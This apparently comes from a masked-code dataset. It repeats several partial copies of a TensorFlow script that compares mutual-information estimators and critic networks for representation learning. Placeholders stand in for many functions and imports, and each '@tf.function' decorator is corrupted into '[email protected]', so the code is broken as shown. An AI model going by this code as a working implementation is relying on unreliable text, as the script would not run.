result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\n<function token>\n\n\ndef get_testing_loss(x_array, session, loss, data_ph, dims, batch_size=512):\n total_loss = 0\n for i in range(0, x_array.shape[0], batch_size):\n x_slice = x_array[i:i + batch_size, :dims]\n total_loss += x_slice.shape[0] * session.run(loss, feed_dict={\n data_ph: x_slice})\n return total_loss / x_array.shape[0]\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\[email protected]\ndef js_fgan_lower_bound(f):\n \"\"\"Lower bound on Jensen-Shannon divergence from Nowozin et al. (2016).\"\"\"\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n n = tf.cast(f.shape[0], tf.float32)\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return first_term - second_term\n\n\n<function token>\n\n\[email protected]\ndef our_lower_bound(scores):\n \"\"\"Our lower bound\"\"\"\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n scores_sq = scores ** 2\n marg_num = batch_size * (batch_size - 1.0)\n marg_term = tf.reduce_sum(input_tensor=scores_sq) - tf.reduce_sum(\n input_tensor=tf.linalg.diag_part(scores_sq))\n marg_term = marg_term / marg_num\n return joint_term - 0.5 * marg_term\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\n<code token>\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\n\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\ndef train(g1, g2, critic, loss_fn, learning_rate, batch_size=\n TRAIN_BATCH_SIZE, n_iters=15000, n_evals=15, compute_jacobian=False,\n noise_std=0.0, data_dimensions=DIMS // 2, n_iter=1, loss_name='InfoNCE'):\n \"\"\"Runs the training loop for a fixed model.\n\n Args:\n g1: Function, maps input1 to representation.\n g2: Function, maps input2 to representation.\n critic: Function, maps two representations to scalar.\n loss_fn: Function, mutual information estimator.\n learning_rate: Learning rate.\n batch_size: Training batch size.\n n_iters: Number of optimization iterations.\n n_evals: Number of model evaluations.\n compute_jacobian: Whether to estimate the singular values of the Jacobian.\n noise_std: Standard deviation for the Gaussian noise. Default is 0.0.\n data_dimensions: The dimension of the data. By default it's half of the\n original data dimension.\n Returns:\n Returns and instance of `Results` tuple.\n \"\"\"\n x_1, x_2, _ = processed_train_data(data_dimensions, batch_size)\n if noise_std > 0.0:\n assert x_1.shape == x_2.shape, 'X1 and X2 shapes must agree to add noise!'\n noise = noise_std * tf.random.normal(x_1.shape)\n x_1 += noise\n x_2 += noise\n code_1, code_2 = g1(x_1), g2(x_2)\n critic_matrix = critic(code_1, code_2)\n if compute_jacobian:\n jacobian = gradients.batch_jacobian(code_1, x_1, use_pfor=False)\n singular_values = tf.linalg.svd(jacobian, compute_uv=False)\n loss = loss_fn(critic_matrix)\n optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=learning_rate)\n if not loss_name == 'wpc':\n optimizer_op = optimizer.minimize(loss)\n else:\n gvs = optimizer.compute_gradients(loss)\n capped_gvs = [(tf.clip_by_value(grad, -1.0, 1.0), var) for grad,\n var in gvs]\n optimizer_op = optimizer.apply_gradients(capped_gvs)\n with tf.compat.v1.Session() as session:\n session.run(tf.compat.v1.global_variables_initializer())\n data_ph = tf.compat.v1.placeholder(tf.float32, shape=[None,\n data_dimensions])\n data_ph_noisy = data_ph + noise_std * tf.random.normal(tf.shape(\n input=data_ph))\n codes = g1(data_ph_noisy)\n (training_losses, testing_losses, classification_accuracies, iters,\n sigmas) = [], [], [], [], []\n for iter_n in range(n_iters):\n if iter_n % (n_iters // n_evals) == 0:\n iters.append(iter_n)\n accuracy = get_classification_accuracy(session, codes,\n data_ph, data_dimensions)\n classification_accuracies.append(accuracy)\n testing_losses.append(get_testing_loss(x_test, session,\n loss, data_ph, data_dimensions))\n if compute_jacobian:\n sigmas.append(session.run(singular_values))\n print(\n '{:d}th iter Loss_name {} Step {:>10d} fit {:>.5f} DS {} B {:d} lr {:f}'\n .format(n_iter, loss_name, iter_n, accuracy, args.\n dataset, args.batch_size, args.lr))\n loss_np, _ = session.run([loss, optimizer_op])\n training_losses.append(loss_np)\n return Results(iterations=iters, training_losses=training_losses,\n testing_losses=testing_losses, classification_accuracies=\n classification_accuracies, singular_values=sigmas)\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print('[New experiment] encoder: {}, critic: {}, loss: {}'.format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print('{:d}th run, loss: {}'.format(n, loss_name))\n if loss_name == 'drfc' and TFDS_NAME == 'cifar10':\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print('Run {} failed! Error: {}'.format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(result, exp_name,\n nets_name, critic_name, loss_name, i))\n if kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((ResultsConfig(\n nets_name, critic_name, loss_name), results_per_run))\n return {'df': pd.concat(data_frames), 'singular_values':\n results_with_singular_values}\n\n\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\[email protected]\ndef js_fgan_lower_bound(f):\n \"\"\"Lower bound on Jensen-Shannon divergence from Nowozin et al. (2016).\"\"\"\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n n = tf.cast(f.shape[0], tf.float32)\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return first_term - second_term\n\n\n<function token>\n\n\[email protected]\ndef our_lower_bound(scores):\n \"\"\"Our lower bound\"\"\"\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n scores_sq = scores ** 2\n marg_num = batch_size * (batch_size - 1.0)\n marg_term = tf.reduce_sum(input_tensor=scores_sq) - tf.reduce_sum(\n input_tensor=tf.linalg.diag_part(scores_sq))\n marg_term = marg_term / marg_num\n return joint_term - 0.5 * marg_term\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\n<code token>\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\n\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\ndef train(g1, g2, critic, loss_fn, learning_rate, batch_size=\n TRAIN_BATCH_SIZE, n_iters=15000, n_evals=15, compute_jacobian=False,\n noise_std=0.0, data_dimensions=DIMS // 2, n_iter=1, loss_name='InfoNCE'):\n \"\"\"Runs the training loop for a fixed model.\n\n Args:\n g1: Function, maps input1 to representation.\n g2: Function, maps input2 to representation.\n critic: Function, maps two representations to scalar.\n loss_fn: Function, mutual information estimator.\n learning_rate: Learning rate.\n batch_size: Training batch size.\n n_iters: Number of optimization iterations.\n n_evals: Number of model evaluations.\n compute_jacobian: Whether to estimate the singular values of the Jacobian.\n noise_std: Standard deviation for the Gaussian noise. Default is 0.0.\n data_dimensions: The dimension of the data. By default it's half of the\n original data dimension.\n Returns:\n Returns and instance of `Results` tuple.\n \"\"\"\n x_1, x_2, _ = processed_train_data(data_dimensions, batch_size)\n if noise_std > 0.0:\n assert x_1.shape == x_2.shape, 'X1 and X2 shapes must agree to add noise!'\n noise = noise_std * tf.random.normal(x_1.shape)\n x_1 += noise\n x_2 += noise\n code_1, code_2 = g1(x_1), g2(x_2)\n critic_matrix = critic(code_1, code_2)\n if compute_jacobian:\n jacobian = gradients.batch_jacobian(code_1, x_1, use_pfor=False)\n singular_values = tf.linalg.svd(jacobian, compute_uv=False)\n loss = loss_fn(critic_matrix)\n optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=learning_rate)\n if not loss_name == 'wpc':\n optimizer_op = optimizer.minimize(loss)\n else:\n gvs = optimizer.compute_gradients(loss)\n capped_gvs = [(tf.clip_by_value(grad, -1.0, 1.0), var) for grad,\n var in gvs]\n optimizer_op = optimizer.apply_gradients(capped_gvs)\n with tf.compat.v1.Session() as session:\n session.run(tf.compat.v1.global_variables_initializer())\n data_ph = tf.compat.v1.placeholder(tf.float32, shape=[None,\n data_dimensions])\n data_ph_noisy = data_ph + noise_std * tf.random.normal(tf.shape(\n input=data_ph))\n codes = g1(data_ph_noisy)\n (training_losses, testing_losses, classification_accuracies, iters,\n sigmas) = [], [], [], [], []\n for iter_n in range(n_iters):\n if iter_n % (n_iters // n_evals) == 0:\n iters.append(iter_n)\n accuracy = get_classification_accuracy(session, codes,\n data_ph, data_dimensions)\n classification_accuracies.append(accuracy)\n testing_losses.append(get_testing_loss(x_test, session,\n loss, data_ph, data_dimensions))\n if compute_jacobian:\n sigmas.append(session.run(singular_values))\n print(\n '{:d}th iter Loss_name {} Step {:>10d} fit {:>.5f} DS {} B {:d} lr {:f}'\n .format(n_iter, loss_name, iter_n, accuracy, args.\n dataset, args.batch_size, args.lr))\n loss_np, _ = session.run([loss, optimizer_op])\n training_losses.append(loss_np)\n return Results(iterations=iters, training_losses=training_losses,\n testing_losses=testing_losses, classification_accuracies=\n classification_accuracies, singular_values=sigmas)\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print('[New experiment] encoder: {}, critic: {}, loss: {}'.format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print('{:d}th run, loss: {}'.format(n, loss_name))\n if loss_name == 'drfc' and TFDS_NAME == 'cifar10':\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print('Run {} failed! Error: {}'.format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(result, exp_name,\n nets_name, critic_name, loss_name, i))\n if kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((ResultsConfig(\n nets_name, critic_name, loss_name), results_per_run))\n return {'df': pd.concat(data_frames), 'singular_values':\n results_with_singular_values}\n\n\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\[email protected]\ndef js_fgan_lower_bound(f):\n \"\"\"Lower bound on Jensen-Shannon divergence from Nowozin et al. (2016).\"\"\"\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n n = tf.cast(f.shape[0], tf.float32)\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return first_term - second_term\n\n\n<function token>\n\n\[email protected]\ndef our_lower_bound(scores):\n \"\"\"Our lower bound\"\"\"\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = 